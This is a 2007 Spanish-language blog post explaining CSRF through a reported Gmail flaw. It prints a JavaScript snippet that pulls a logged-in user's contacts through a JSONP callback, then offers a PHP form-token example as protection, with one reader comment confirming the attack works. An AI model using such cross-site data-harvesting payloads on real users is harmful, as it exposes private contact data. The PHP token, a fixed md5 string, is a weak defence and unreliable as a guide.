Fallo de Seguridad CSRF en Gmail

Martes 02 De Enero Del 2007 @ 10:49 AM | kaioken

Primero de todo ¿Que es CSRF? Son ataques por clicks, uso de session del usuario desde una pagina extrangera Cross-site request forgery, also known as one click attack or session riding. Esto nos permite utilizar la session que tienes en el momento logeado en la pagina y poder hacer cosas atravez de ella (ej: agregar comentarios, atravez de otra pagina).

Gmail tiene esta falla que nos permite leer la lista de contacto de una persona logeada entrando a una pagina con un simple javascript.

Code:


 <script type="text/javascript">
 function google(data){
     var emails, i;
     for (i = 0; i <data.Body.Contacts.length; i++) {
         mails += "<li>" + data.Body.Contacts.Email + "";
     }
     document.write("<ol>" + emails + "</ol>");
 }
 </script>
 
 <script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
 </script>
 


Esto es gracias a que gmail guarda los contactos en un javascript en tu pc.

Ahora como nosotros los webDev nos protegemos de estos ataques? Una de las maneras más facil es utilizando TOKENS. ¿Que son estos tokens? bueno son un string generado al momento que el usuario va agregar alguna info desde el site y mediante una session verificamos que existe y luego lo eliminamos. De esta manera estamos seguro que ese usuario hizo la transaccion desde la pagina.

Codigo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//codigo del formulario
//ponemos un hidden field con este token;
//<input type='hidden' value='echo md5('lo que te de tu gana');  ' />
$_SESSION['token'] = md5('lo que te de tu gana');

//-----------------------------------------------

/**ahora en la otra pagina donde agregamos la noticia o lo k sea verificamos que exista el token y que ese token k estas enviando desde el form sea el mismo que el  user tenga en session de lo contrario no te permitimos agregra nada*/

if($_SESSION['token'] == $_POST['token'])
{
 
//sigue
}
?>

All Sonic No Boom - Mach Plus travel is back

Barcelona acogera un nuevo congreso sobre innovacion y tecnologia en 2009

Localizado un zulo de ETA en la localidad riojana de Ezcaray

Zend Framework 16 Release Candidate 1 now available

Curso Web 20: martes

Google's Knol Expert Wiki Goes Live

Linnk
2007-01-02 13:42:48

Hice la prueba con mi propio correo... y pues q decir, es peligroso, funciona xD ... segun tengo entendido, Google no se habia percatado del bug... así q apenas estan en eso, recomiendo no navegar en el web, estando logeado =P


No estas logeado para comentar

 

Parte de:
Comunidad MC
Afiliados:

GirlTekK